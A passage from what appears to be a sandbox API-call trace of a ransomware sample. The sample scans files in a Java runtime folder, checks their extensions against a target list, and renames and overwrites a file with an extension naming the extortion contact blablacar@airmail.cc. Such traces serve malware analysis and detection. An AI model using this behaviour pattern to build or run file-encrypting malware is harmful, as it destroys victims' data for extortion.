Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString=".1cd") returned 4 [0177.274] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString=".jpg") returned 4 [0177.274] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.274] lstrlenW (lpString=".doc") returned 4 [0177.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString=".docx") returned 5 [0177.274] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0177.274] lstrlenW (lpString=".pdf") returned 4 [0177.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString=".xls") returned 4 [0177.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.274] lstrlenW (lpString=".xlsx") returned 5 [0177.274] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0177.275] lstrlenW (lpString=".ppt") returned 4 [0177.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.275] lstrlenW (lpString=".zip") returned 4 [0177.275] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.275] lstrlenW (lpString=".rar") returned 4 [0177.275] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.275] lstrlenW (lpString=".bz2") returned 4 [0177.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.275] lstrlenW (lpString=".7z") returned 3 [0177.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.275] lstrlenW (lpString=".dbf") returned 4 [0177.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.275] lstrlenW (lpString=".1cd") returned 4 [0177.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll") returned 47 [0177.275] lstrlenW (lpString=".jpg") returned 4 [0177.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.275] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.275] lstrlenW (lpString="management.dll") returned 14 [0177.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.276] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=36928) returned 1 [0177.276] CloseHandle (hObject=0x3f0) returned 1 [0177.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll")) returned 0x20 [0177.276] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.276] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.276] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.276] lstrlenW (lpString=".doc") returned 4 [0177.276] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.276] lstrlenW (lpString=".docx") returned 5 [0177.276] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.276] lstrlenW (lpString=".pdf") returned 4 [0177.276] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.276] lstrlenW (lpString=".xls") returned 4 [0177.276] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.276] lstrlenW (lpString=".xlsx") returned 5 [0177.276] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.276] lstrlenW (lpString=".ppt") returned 4 [0177.277] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString=".zip") returned 4 [0177.277] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString=".rar") returned 4 [0177.277] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString=".bz2") returned 4 [0177.277] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.277] lstrlenW (lpString=".7z") returned 3 [0177.277] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString=".dbf") returned 4 [0177.277] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString=".1cd") returned 4 [0177.277] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString=".jpg") returned 4 [0177.277] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.277] lstrlenW (lpString=".doc") returned 4 [0177.277] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString=".docx") returned 5 [0177.277] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0177.277] lstrlenW (lpString=".pdf") returned 4 [0177.277] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString=".xls") returned 4 [0177.277] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString=".xlsx") returned 5 [0177.277] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0177.277] lstrlenW (lpString=".ppt") returned 4 [0177.277] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.278] lstrlenW (lpString=".zip") returned 4 [0177.278] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.278] lstrlenW (lpString=".rar") returned 4 [0177.278] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.278] lstrlenW (lpString=".bz2") returned 4 [0177.278] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.278] lstrlenW (lpString=".7z") returned 3 [0177.278] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.278] lstrlenW (lpString=".dbf") returned 4 [0177.278] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.278] lstrlenW (lpString=".1cd") returned 4 [0177.278] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll") returned 53 [0177.278] lstrlenW (lpString=".jpg") returned 4 [0177.278] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.278] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.278] lstrlenW (lpString="mlib_image.dll") returned 14 [0177.278] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.279] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=653888) returned 1 [0177.279] CloseHandle (hObject=0x3f0) returned 1 [0177.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll")) returned 0x20 [0177.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString=".doc") returned 4 [0177.280] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString=".docx") returned 5 [0177.280] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0177.280] lstrlenW (lpString=".pdf") returned 4 [0177.280] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString=".xls") returned 4 [0177.280] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString=".xlsx") returned 5 [0177.280] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0177.280] lstrlenW (lpString=".ppt") returned 4 [0177.280] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString=".zip") returned 4 [0177.280] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString=".rar") returned 4 [0177.280] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString=".bz2") returned 4 [0177.280] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.280] lstrlenW (lpString=".7z") returned 3 [0177.280] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString=".dbf") returned 4 [0177.280] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString=".1cd") returned 4 [0177.280] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.280] lstrlenW (lpString=".jpg") returned 4 [0177.280] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString=".doc") returned 4 [0177.281] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString=".docx") returned 5 [0177.281] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0177.281] lstrlenW (lpString=".pdf") returned 4 [0177.281] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString=".xls") returned 4 [0177.281] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString=".xlsx") returned 5 [0177.281] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0177.281] lstrlenW (lpString=".ppt") returned 4 [0177.281] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString=".zip") returned 4 [0177.281] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString=".rar") returned 4 [0177.281] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.281] lstrlenW (lpString=".bz2") returned 4 [0177.281] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.281] lstrlenW (lpString=".7z") returned 3 [0177.281] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString=".dbf") returned 4 [0177.281] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString=".1cd") returned 4 [0177.281] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll") returned 53 [0177.281] lstrlenW (lpString=".jpg") returned 4 [0177.281] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.282] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.282] lstrlenW (lpString="msvcp120.dll") returned 12 [0177.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.282] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=660128) returned 1 [0177.282] CloseHandle (hObject=0x3f0) returned 1 [0177.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0177.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString=".doc") returned 4 [0177.283] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString=".docx") returned 5 [0177.283] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.283] lstrlenW (lpString=".pdf") returned 4 [0177.283] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString=".xls") returned 4 [0177.283] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString=".xlsx") returned 5 [0177.283] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.283] lstrlenW (lpString=".ppt") returned 4 [0177.283] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString=".zip") returned 4 [0177.283] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString=".rar") returned 4 [0177.283] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.283] lstrlenW (lpString=".bz2") returned 4 [0177.283] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.283] lstrlenW (lpString=".7z") returned 3 [0177.283] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString=".dbf") returned 4 [0177.283] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString=".1cd") returned 4 [0177.283] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.283] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.283] lstrlenW (lpString=".jpg") returned 4 [0177.283] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString=".doc") returned 4 [0177.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString=".docx") returned 5 [0177.284] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.284] lstrlenW (lpString=".pdf") returned 4 [0177.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString=".xls") returned 4 [0177.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString=".xlsx") returned 5 [0177.284] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.284] lstrlenW (lpString=".ppt") returned 4 [0177.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString=".zip") returned 4 [0177.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString=".rar") returned 4 [0177.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.284] lstrlenW (lpString=".bz2") returned 4 [0177.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.284] lstrlenW (lpString=".7z") returned 3 [0177.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString=".dbf") returned 4 [0177.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString=".1cd") returned 4 [0177.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0177.284] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll") returned 51 [0177.284] lstrlenW (lpString=".jpg") returned 4 [0177.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0177.285] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0177.285] lstrlenW (lpString="msvcr100.dll") returned 12 [0177.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0177.285] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=829264) returned 1 [0177.285] CloseHandle (hObject=0x3f0) returned 1 [0177.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0177.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.285] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.285] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.285] lstrlenW (lpString=".doc") returned 4 [0177.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString=".docx") returned 5 [0177.286] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0177.286] lstrlenW (lpString=".pdf") returned 4 [0177.286] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString=".xls") returned 4 [0177.286] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString=".xlsx") returned 5 [0177.286] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0177.286] lstrlenW (lpString=".ppt") returned 4 [0177.286] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.286] lstrlenW (lpString=".zip") returned 4 [0177.286] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString=".rar") returned 4 [0177.286] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0177.286] lstrlenW (lpString=".bz2") returned 4 [0177.286] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0177.286] lstrlenW (lpString=".7z") returned 3 [0177.286] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0177.286] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0177.286] lstrlenW (lpString=".dbf") returned 4 [0177.286] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0177.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0181.777] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0181.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0181.779] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc64 | out: lpNewFilePointer=0x0) returned 1 [0181.779] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc24 | out: lpNewFilePointer=0x0) returned 1 [0181.779] ReadFile (in: hFile=0x3f0, lpBuffer=0x3f8e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8e058*, lpNumberOfBytesRead=0x33bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0181.784] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc24 | out: lpNewFilePointer=0x0) returned 1 [0181.784] ReadFile (in: hFile=0x3f0, lpBuffer=0x3fce058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33bfc30, lpOverlapped=0x0 | out: lpBuffer=0x3fce058*, lpNumberOfBytesRead=0x33bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0181.792] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.792] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc24 | out: lpNewFilePointer=0x0) returned 1 [0181.792] ReadFile (in: hFile=0x3f0, lpBuffer=0x400e058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33bfc30, lpOverlapped=0x0 | out: lpBuffer=0x400e058*, lpNumberOfBytesRead=0x33bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0182.106] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.106] WriteFile (in: hFile=0x3f0, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x33bfca8, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfca8*=0xc0102, lpOverlapped=0x0) returned 1 [0182.123] SetEndOfFile (hFile=0x3f0) returned 1 [0182.123] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x40000) returned 0x45650f0 [0182.129] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc74 | out: lpNewFilePointer=0x0) returned 1 [0182.129] WriteFile (in: hFile=0x3f0, lpBuffer=0x45650f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33bfc80, lpOverlapped=0x0 | out: lpBuffer=0x45650f0*, lpNumberOfBytesWritten=0x33bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0182.130] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x33bfc74 | out: 